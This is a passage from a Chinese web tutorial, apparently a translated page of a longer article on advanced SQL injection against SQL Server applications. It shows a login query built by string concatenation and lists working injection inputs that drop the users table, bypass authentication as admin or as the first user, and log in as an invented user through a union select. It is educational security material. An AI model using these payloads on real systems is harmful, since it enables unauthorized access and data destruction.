WEB开发网
开发学院网络安全安全技术 SQL Server应用程序的高级Sql注入 阅读

SQL Server应用程序的高级Sql注入

 2009-04-04 13:56:50 来源:WEB开发网   
核心提示: 这里讨论的是'process_login.asp'中的创建'query string'的部分:var sql = "select * from users where username = '" + username + &quo

这里讨论的是'process_login.asp'中的创建'query string'的部分:

var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";

如果用户指定了下面这样的数据:

Username: '; drop table users--
Password:

'users'表会被删除,所有用户都不能登陆。'--'是Transact-SQL(交互式SQL)的单行注释符,';'标志着一个查询的结束另一个查询的开始。用户名最后的'--'用来使这个特殊的查询无错误结束。

攻击者只要知道用户名,就可以通过以下的输入以任何用户的身份登陆:

Username: admin'--

攻击者可以通过下面的输入以用户表里的第一个用户来登陆:

Username: ' or 1=1--

...更有甚者,攻击者通过以下的输入可以以任意虚构的用户登陆:

Username: ' union select 1, 'fictional_user', 'somoe_password', 1--

因为程序相信攻击者指定的常量是数据库返回的记录集的一部分。

[通过错误信息获取信息]

这个技术是David Litchfield在一次渗透入侵测试中首先发现的,后来david写了篇关于这个技术的文章,很多作者都参考过这篇作品。这里我们讨论“错误消息”技术潜在的机制,使读者可以充分理解它并且能灵活应用。

为了操作数据库里的数据,攻击者要确定某个数据库的结构。例如:我们的"user"表是用下面的语句建立的:

create table users( id int,
username varchar(255),
password varchar(255),
privs int
)

上一页  1 2 3 4 5 6 7 8 9  下一页

Tags:SQL Server 应用程序

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接